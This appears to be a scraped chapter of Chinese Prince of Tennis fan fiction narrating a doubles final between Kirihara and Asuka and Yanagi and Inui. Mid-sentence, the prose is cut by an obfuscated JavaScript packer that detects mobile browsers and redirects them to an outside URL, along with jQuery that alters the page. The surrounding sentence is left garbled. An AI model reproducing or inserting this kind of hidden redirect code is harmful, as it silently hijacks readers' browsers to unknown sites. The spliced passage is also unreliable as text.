打了一天无聊的比赛,飞鸟绛握紧球拍,终于感受到一丝强烈的获胜欲望。 决赛的场地在中心球场,是露天网球公园里唯一修建了梯形观赛席的场地。大野老师站在侧面,大声朝他们呼唤:“像往常那样打就好了!” 球拍旋转着落下,是反面,柳莲二和乾贞治的组合获得优先发球权。 “比赛开始!” “说不好哪边会赢啊。无论哪个队都很恐怖!” 因为输掉而哭鼻子的少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549407|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦干眼泪,恶狠狠地说:“总之让切原那家伙输掉好了!我倒要看看那家伙是不是爱哭鬼!” “从年龄、身高,这两方面来看,还是柳和乾这边占优势吧。” 不看好切原赤也与飞鸟绛的人占据大多数。 成长期的选手身体发育正值旺盛的时候,一年就要变一个样子,相差一岁,带来的不只是年龄上的差距。 乾贞治低声道:“这个占位……只要网球在那个区域,就很难回击到了吧。” “啪!”网球迎面而来,旋转着飞向球场角落。 “还以为会很出乎人意料呢。”飞鸟绛看着网球:“结果还是这么平平无奇的一球啊。” 这一球属于切原赤也,将球拍切换到反手,轻而易举地回击了过去。 “力道、速度,”切原赤也表情凝重:“统统没有!” 网球砸在乾贞治的脚前,穿过□□过去。 “飞鸟、切原得分。” 大野老师高兴中又带着一丝羞耻:切原赤也打球哪里都好,唯独垃圾话攻击和网球攻击一样尖锐且密集……算了,心理承受能力也是网球选手必须修炼的能力。 只是随着搭档时间渐长,连沉默寡言的飞鸟绛也…… 乾贞治面色难看起来。 这一分,无论是切原赤也的语言,还是恰好从胯下穿过的网球,表露出来的嚣张意味都太过于强烈。 柳莲二轻声道:“贞治。” 殊途同归。乾贞治在比赛之前年对手的资料,与切原赤也在比赛途中用语言攻击,何尝不都是一种破坏对方心态的战术行为呢? 谁真正把对方的话放在心上就输掉了。 乾贞治背过身,推了一下眼镜:“莲二,放心。” 比赛继续进行下去。 网球在双方球场之间来回穿梭,像一只逗猫棒,牢牢牵住了所有人的视线。 很快,切原赤也与飞鸟绛拿下了两局。 乾贞治喘着气,难免被不间断嘲讽的话语刺激地有些失去冷静,强行按压住躁动的情绪:“从现有的数据来看,切原赤也的威胁性更高。而飞鸟绛,至少在这两局里没有做出什么贡献。” 柳莲二认同地说道:“性格更加外向的切原,其实更擅长精细的操作。” 他没有举出最开始那颗穿跨球也许不是巧合,而是另外提出:“但飞鸟也绝不容小觑。” 乾贞治坚持自己的判断。双打组合里,一拖一的例子难道还少吗?前两局百分之八十的分数都是切原赤也拿到的,而且凭借飞鸟绛的身高和体型,无论如何,也打不出令人惊讶的球来吧。 柳莲二摇摇头:“贞治,你已经被切原占据了太多视线。” 而看不到那个飞鸟的眼神。 恐怖的,在暗处等候的狩猎者眼神。 你是他的猎物。贞治。 又一局开始。 “你们说小话说了好久。”切原赤也抱怨道:“大家都在一个球场上打球,有什么话是我和阿绛不方便听的吗?” 飞鸟绛堂而皇之地随口猜测:“大概是在吵架吧。” 乾贞治:“劳烦你们关心。不过,我确实已经想到了对付你们的方法。” 最简单的方法。 针对。 飞鸟绛在感受到更加密集地飞往他这边的网球时,露出不明显的欣慰的微笑。 放任切原赤也玩了这么久,现在总算是来到他的回合了吗? 这一局是柳莲二发球。 比飞鸟绛说话频率还要低的妹妹头选手似乎听从了搭档的意愿,发球往往都是冲着飞鸟绛。 准头和速度都很不错,但力道欠缺。总的来说,比那位刺猬头选手好上许多。 飞鸟绛漫不经心地评价着,力量汇聚到手臂,瞄准网球——挥拍! “嚯!这一球!” 大野老师扶住额头:“是不是又有点超过。” 网球擦过发球上网的柳莲二的面旁,划开的强劲的风将脸颊发丝吹拂开来,柳莲二眼神微微张开,视线随着网球向后。 乾贞治做好了迎接网球的准备。 这一球虽然路过了柳莲二的位置,但并没有很好的击球点,这球是冲着他来的! “最佳的击球位置是……”乾贞治默默在心里计算,后撤一步,张开了球拍。 切原赤也咧嘴一笑:“准备迎接飞鸟的洗礼吧,刺猬头!” “砰!” 网球砸在球拍甜点。 最好的时机,最好的击球点位,但是……手腕,抬不起来! “哐当”一声,球拍脱手摔到地上。 乾贞治表情惊愕,对上柳莲二的视线。